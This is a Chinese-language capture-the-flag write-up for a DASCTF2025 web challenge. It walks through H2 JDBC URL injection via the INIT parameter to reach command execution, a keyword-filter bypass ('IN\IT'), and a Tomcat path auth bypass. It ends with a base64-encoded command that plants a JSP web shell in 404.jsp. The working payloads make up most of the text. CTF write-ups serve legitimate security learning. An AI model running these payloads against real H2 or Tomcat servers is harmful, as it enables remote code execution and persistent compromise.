DASCTF2025
泽西岛
前面都出来了就差一点点
其实思路还是很简单的,就是一些细节出了问题
首先其jdbcurl我们是可控的。那么我们就可以命令执行了(后面拼接的参数我们可以使用xxx=\)来使其无效
网上的绝大多少payload都如下1
2
3jdbc:h2:mem:test;MODE=MSSQLServer;IGNORE_UNKNOWN_SETTINGS=TRUE;FORBID_CREATION=FALSE;INIT=CREATE TRIGGER shell3 BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript
java.lang.Runtime.getRuntime().exec("calc.exe")
$$;XXX=\
但是这个会有个问题就是无法在jdk17下使用经尝试只能在jdk8下运行。
在jdk17下没有一点反应甚至没有抛异常
那么现在我们就需要了解一下INIT参数是干什么的了
这个参数其实就是链接时自动运行的sql语句,而h2数据库时可以直接使用sql语句来命令执行的。那么我们就可以直接使用如下的payload来命令执行1
2
jdbc:h2:mem:testdb;INIT=CREATE ALIAS SHELLEXEC AS $$ String exec(String cmd) throws java.io.IOException { return Runtime.getRuntime().exec(cmd).getInputStream().toString()\; }$$\; CALL SHELLEXEC('calc.exe')\;--\
后面拼接的就直接注释加\来注释掉就好了
其还过滤了init我们直接使用\
来绕过即可1
jdbc:h2:mem:testdb;IN\IT=CREATE ALIAS SHELLEXEC AS $$ String exec(String cmd) throws java.io.IOException { return Runtime.getRuntime().exec(cmd).getInputStream().toString()\; }$$\; CALL SHELLEXEC('calc.exe')\;--\
但是我们直接传参是传不了的,还要绕一下鉴权
我们可以看到其只要路径为一个/且有点那么就会被当成静态资源直接过。
所以我们可以使用1
/api/testConnect;.
来绕过因为tomcat自动忽视;后的路径和url的#很像
那么这题题其实就结束了
直接写马到404.jsp(使用$CATALINA_HOME
来定位tomcat路径写马到$CATALINA_HOME/webapps/ROOT/404.jsp
也就是web的404.jsp)1
jdbcUrl=jdbc:h2:mem:testdb;IN\IT=CREATE ALIAS SHELLEXEC AS $$ String exec(String cmd) throws java.io.IOException { return Runtime.getRuntime().exec(cmd).getInputStream().toString()\; }$$\; CALL SHELLEXEC('bash -c {echo,ZWNobyAnPCUgb3V0LnByaW50KG5ldyBqYXZhLnV0aWwuU2Nhbm5lcihSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKHJlcXVlc3QuZ2V0UGFyYW1ldGVyKCJjbWQiKSkuZ2V0SW5wdXRTdHJlYW0oKSkudXNlRGVsaW1pdGVyKCJcXEEiKS5uZXh0KCkpOyAlPicgPiAkQ0FUQUxJTkFfSE9NRS93ZWJhcHBzL1JPT1QvNDA0LmpzcA}|{base64,-d}|{bash,-i}')\;--+\
然后命令执行